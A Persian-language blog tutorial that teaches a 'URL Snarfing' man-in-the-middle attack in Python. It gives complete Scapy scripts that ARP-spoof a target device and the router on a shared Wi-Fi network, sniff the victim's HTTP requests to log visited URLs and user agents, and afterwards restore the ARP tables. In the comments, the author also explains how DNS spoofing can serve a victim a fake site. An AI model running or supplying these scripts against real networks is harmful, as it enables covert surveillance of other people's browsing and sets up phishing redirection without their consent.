آموزش پیاده سازی حمله URL Snarfing در پایتون :: Mr Python | مستر پایتون

آموزش پیاده سازی حمله URL Snarfing در پایتون

  • ۱۲۱۰

آموزش پیاده سازی حمله URL Snarfing در پایتون 

درود به همه !

 

با یک پست باحال دیگه در خدمت شما هستیم . در این پست به یکی دیگه از حملات مرد میانی (MAN IN THE MIDDLE) به نام URL Snarfing میپردازیم که به وسیله ی آن میتوانیم بفهمیم هدف ما چه سایت هایی را باز میکند . در اصل در این حمله ما درخواست های HTTP که کاربر به مقصد های مختلف میفرستد را با استفاده از اسکریپت پایتونی شنود میکنیم . با ما همراه باشید .

حمله URL Snarfing چیست ؟ طی این حمله هکر ، تمام درخواست های HTTP هدف خودش رو شنود میکنه و از این طریق متوجه میشه هدف به چه سایت ها یا سرور هایی درخواست میفرستد . این حمله را ابزار های آماده ای مثل urlsnarf در کالی لینوکس میتوانند پیاده کنند اما امروز ما اینکار را با اسکریپت پایتونی که خودمان مینویسیم انجام میدهیم .

پیش نیاز این پست ، مسلط بودن به مبحث ARP Spoofing  و پیاده سازی حمله ARP Spoofing است . اگر این در مورد این حمله نمیدونید نگران نباشید قبلا یک پست کامل راجع به پیاده سازی ARP Spoofing در پایتون منتشر کرده ایم :

پیاده سازی حمله ی ARP Spoofing در پایتون

قبل از خواندن این پست ، بهتر است روی مبحثی که در پست بالا مطرح شده تسلط کافی داشته باشید .

 

فرض کنید سیستم هدف ما یک موبایل اندرویدی است . سیستم هدف در یک شبکه قرار دارد که با استفاده از یک مودم وایرلس میتواند به اینترنت وصل شود . ما (سیستم هکر) نیز باید به همان شبکه ای که سیستم هدف در آن است متصل شویم بنابراین ما هم به مودم وایرلس وصل میشیم .

تا اینجا هر دو سیستم هکر و هدف در یک شبکه قرار دارند که از طریق مودم وایرلس میتوانند به اینترنت دسترسی پیدا کنند . 

وقتی سیستم هدف میخواهد یک سایت را باز کند ، ابتدا در مرورگر خود آدرس آن سایت را وارد میکند ، سپس مرورگر هدف یک درخواست HTTP به سایت مورد نظر میفرسته .این درخواست HTTP از طریق روتر شبکه (همون مودم وایرلس) میرسه به دست مقصد (سایت مورد نظر) . با این وضعیت اگه سیستم هدف یک درخواست HTTP بفرسته ، هکر به هیچ عنوان نمیتونه اونو شنود کنه چون مسیر در خواست ارسالی به شکل زیر است و از هکر عبور نمیکند : 

هکر نیاز دارد تا بین سیستم هدف و مودم وایرلس قرار بگیرد به این شکل :

در این صورت تمام ترافیک ارسالی توسط هدف ابتدا از هکر رد میشود بنابراین هکر میتونه خیلی راحت اونا رو شنود کنه . 

کار حمله ی ARP Spoofing این است که سیستم هکر را به وسیله ی ارسال جواب های ARP جعلی ، بین مودم وایرلس و سیستم هدف قرار بده .

اگه یادتون باشه در پست مربوط به حمله ARP Spoofing اسکریپت پایتونی نوشتیم که اینکارو میکرد یعنی جواب های جعلی ARP به سیستم هدف میفرستاد و در نتیجه جدول مک سیستم هدف را مسموم میکرد . اسکریپت پست ARP Spoofing رو به شکل زیر تغییر میدیم و اجرا میکنیم :

from scapy.all import *
from time import sleep

conf.iface = "Wi-Fi" # select network interface card for attack

def get_mac(ip): # CONVERT IP 2 MAC
    pkt = Ether(dst = "ff:ff:ff:ff:ff:ff") / ARP(pdst = ip)
    response = srp(pkt , verbose = 0)
    return response[0][0][1].hwsrc

def spoof(target_ip , spoof_ip , target_mac) :

    pkt = Ether(dst = target_mac) / ARP(pdst = target_ip , psrc = spoof_ip , op = "is-at")
    try:
        sendp(pkt)
        return True
    except:
        return False

ip1 = input("HOST 1 :")
ip2 = input("HOST 2 :")

ip1_mac = get_mac(ip1) 
ip2_mac = get_mac(ip2)

while True:
    spoof(ip1 , ip2,ip1_mac)
    spoof(ip2 , ip1,ip2_mac)
    sleep(2)

این اسکریپت رو به طور کامل در پست مربوط به ARP Spoofing توضیح دادیم بنابراین اینجا فقط تغییراتی که دادیم رو توضیح میدیم . اول اینکه بعد از ایمپورت کردن کتابخونه ها ، متغییر conf.iface رو مشخص کردیم که با چه کارت شبکه ای میخوایم این حمله رو انجام بدیم از اونجایی که من با استفاده از وای فای به مودم وایرلس متصل شدم بنابراین باید از کارت شبکه Wi-Fi استفاده کنم . اسم این کارت شبکه تو لینوکس متفاوته ممکنه wlan0 باشه مثلا . 

 در نقطه شروع برنامه یک حلقه ی while بینهایت نوشتیم که هر دوثانیه یک بار جواب های جعلی ARP رو ارسال کنه (برای مودم وایرلس و سیستم هدف) . 

برای اجرای اسکریپت نیاز هستش تا قابلیت ip forwarding رو در سیستم عاملمون (ویندوز یا لینوکس) فعال کنیم که در پست ARP Spoofing آموزش این کار رو دادیم . 

پس از فعال کردن قابلیت ARP Spoofing ، اسکریپت رو اجرا میکنیم و اسکریپت دو عدد آی پی از ما میگیره . یکیش آی پی مودم رو میدیم (معمولا 192.168.1.1) و دیگری آی پی سیستم هدف . پس از وارد کردن آی پی ها ، اسکریپت شروع به ارسال جواب های جعلی ARP میکند و در نتیجه حمله آغاز میشود . 

 

از اینجا به بعد تمام ترافیک انتقالی بین مودم وایرلس و سیستم هدف از سیستم ما رد میشود و در نتیجه میتوانیم تمام آن را شنود کنیم . حالا میتوانیم درخواست های HTTP که هدف ارسال میکنه رو با استفاده از اسکریپت زیر شنود کنیم و نمایش بدیم :

from scapy.all import *
from scapy.layers.http import HTTPRequest

def packethandler(pkt):
    if pkt.haslayer(HTTPRequest):
        http_layer = pkt.getlayer(HTTPRequest)
        method = http_layer.Method.decode()
        if http_layer.Referer:
            link = http_layer.Referer.decode() + http_layer.Path.decode()
            user_agent = http_layer.User_Agent.decode()
            print("{} -> {}\n{}".format(method , link , user_agent))

while True:
    sniff(iface = "Wi-Fi" , filter = "port 80" , count = 10 , prn = packethandler)

 

در ابتدا ایمپورت های لازم از کتابخونه scapy رو انجام دادیم . سپس یک تابع به نام packethandler تعریف کردیم که یک ورودی میگیره به نام pkt که همون بسته شنود شده از ارتباط بین مودم وایرلس و سیستم هدفه . هر بسته ای که شنود میشه به این تابع داده میشه . در ابتدای تابع با استفاده از متود haslayer چک کردیم آیا این بسته ، لایه HTTPRequest رو داره یانه . بسته ای که این لایه رو داشته باشه یعنی یک درخواست HTTP هستش بنابراین باید چک کنیم بسته شنود شده یک درخواست HTTP است یا نه . سپس داخل شرط if اومدیم ابتدا لایه ی مربوط به HTTP بسته رو با استفاده از تابع getlayer گرفتیم و ریختیم داخل متغییر http_layer . حالا میتونیم با استفاده از این متغییر به اطلاعات مربوط به درخواست HTTP این بسته دست پیدا کنیم . در ابتدا متود درخواست HTTP رو گرفتیم و ریختیم داخل متغییر method . متود میتونه GET یا POST یا ... باشه . سپس چک کردیم آیا درخواست HTTP دارای Referer هست یا نه . در اصل آدرس مرجع یا همون آدرس سایتی که کاربر وارد کرده داخل Referer ذخیره میشه . بعد از اون داخل شرط مربوط به Referer اومدیم لینکی که کاربر بهش درخواست فرستاده رو بدست آوردیم و ریختیم داخل متغییر link . سپس user_agent رو بدست اوردیم . user_agent مشخص کننده اینه که کاربر با چه دستگاه و مرورگری داره درخواست HTTP رو میفرسته . 

تا اینجا تمام اطلاعات لازم رو داریم پس اطلاعاتی که بدست آوردیم رو چاپ کردیم . 

در نقطه شروع برنامه یک حلقه ی While بینهایت تعریف کردیم و داخل آن با استفاده از تابع sniff پی در پی عملیات شنود بسته رو انجام دادیم . پارامتر iface مشخص کننده کارت شبکه هستش که من روی Wi-Fi گذاشتم . با استفاده از پارامتر filter مشخص کردیم فقط بسته هایی شنود بشن که پورت مقصدشون 80 است (پروتکل HTTP روی پورت 80 فعالیت میکند) . با استفاده از پارامتر count مشخص کردیم 10 بسته شنود شود . پارامتر prn نیز مشخص کننده ی اینه که هر بسته که شنود میشه به چه تابعی داده بشه که ما همون تابع packethandler رو بهش دادیم . 

 

تا اینجا اسکریپت url snarfing آماده هستش . در حین اینکه عملیات ARP Spoofing در حال انجامه ( یعنی اسکریپت ARP Spoofing در حال اجرا هستش) اسکریپت url snarfing رو نیز اجرا میکنیم و مشاهده میکنیم هر آدرسی که هدف در مرورگرش باز کنه رو به ما نشون میده :

 

نکته : ما با استفاده از حمله url snarfing قادر به شنود آدرس هایی که با https شروع میشوند نیستیم زیرا ارتباط آن رمزنگاری شده است و شنود کردن آن فایده ای ندارد بنابراین فقط پروتکل http را میتوان شنود کرد . 

 

پس از اتمام حمله باید با استفاده از اسکریپت زیر ، اثرات حمله ARP Spoofing که مسموم کردن جدول مک سیستم ها است رو از بین ببریم :

from scapy.all import *

conf.iface = "Wi-Fi"
def get_mac(ip):
    pkt = Ether(dst = "ff:ff:ff:ff:ff:ff" ) / ARP (pdst = ip)
    response = srp(pkt)
    return response[0][0][1].hwsrc

def restore(target_ip , spoof_ip):
    target_mac = get_mac(target_ip)
    spoof_mac = get_mac(spoof_ip)

    pkt = Ether(dst = target_mac) / ARP ( pdst = target_ip , psrc = spoof_ip , hwsrc=spoof_mac , op="is-at")
    
    try:
        sendp(pkt)
        return True
    except:
        return False


ip1 = input("HOST 1 : ")
ip2 = input("HOST 2 : ")

if restore(ip1 , ip2) and restore(ip2 , ip1):
    print("ok")

 

با اجرای این اسکریپت ، از ما دو آی پی میخواهد . یکی آی پی مودم و دیگری آی پی سیستم هدف را میدهیم . این اسکریپت با ارسال جواب های ARP صحیح ، جدول مک سیستم هدف و مودم را از حالت مسمومیت در میآورد . 

 

امیدوارم لذت برده باشید :) . سوالی بود مطرح کنید 

 

یا حق !

Telegram Channel : @mrpythonblog

  • یک فرد نسبتا معمولی

    سلام

    آیا می شود این کار را از راه دور انجام داد؟مثلا پیام هایی که یک کاربر می فرستد،توسط ما خوانده شود.

    پاسخ:
    سلام .
    از راه دور یعنی چی ؟ یعنی داخل اون شبکه نباشیم ؟ 
  • میشه امدزش DNS Spoofing با پایتون اموزش بدید ممنون

    پاسخ:
    درود . حتما به زودی .
    اگه زودتر میخواید یاد بگیرید این دوتا لینک یاد دادن با پایتون بنویسیدش :
  • سلام

     

    توی حمله مرد میدانی میشه کاری کرد که مثلا وقتی تارگت فلان سایت رو باز کرد اسکریپت شنود کنه بعدش یه سایت جعلی رو بفرسته برای تارگت و تارگت صفحه جعلی براش باز شه ولی توی قسمت نوار لینک اون سایت لینک سایت اصلی باشه

     

    ببخشید اینقدر حرف زدم😅

    پاسخ:
    درود بر شما . یه همچین کاریو میشه با DNS Spoofing انجام داد . وقتی شما میان دو شخص هستید میتونید بسته های بین اون ها رو دستکاری کنید . وقتی مثلا کاربر آدرس www.example.com رو وارد میکنه ، سیستم شخص درخواست های DNS رو میفرسته به سرور های DNS تا IP مربوط به این دامنه رو پیدا کنه . سرور DNS هم در درخواست بهش آی پی دامنه رو میده . شما این وسط هستید و میتونید بسته ارسالی از سرور DNS رو دستکاری کنید و به جای IP سایت مورد نظر IP سایت جعلی که خودتون ساختید رو قرار بدید . بنابراین برای هدف سایت جعلی بالا میاد . 

    خواهش میکنم این چه حرفیه :)
  • خیلی جالب بود

    ممنونم

    انشالله همیشه موفق و سربلند باشید

    پاسخ:
    درود بر شما .
    خواهش میکنم .
    فدای شما خیلی ممنون همچنین :)
  • جدا از خود پست که خیلی خوب بود عکسشم باحاله

    ممنون

    پاسخ:
    مچکرم :) خداروشکر که مفید بوده :)
    خواهش میکنم :)
  • کارت درسته ! 👌👌

    پاسخ:
    ممنونم 🙂🖐
  • عالی دم شما گرم

    پاسخ:
    درود بر شما :)
    خواهش میکنم موفق باشید :))
  • عالی  مرسی 

    پاسخ:
    خواهش میکنم :))
    موفق باشید :)
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی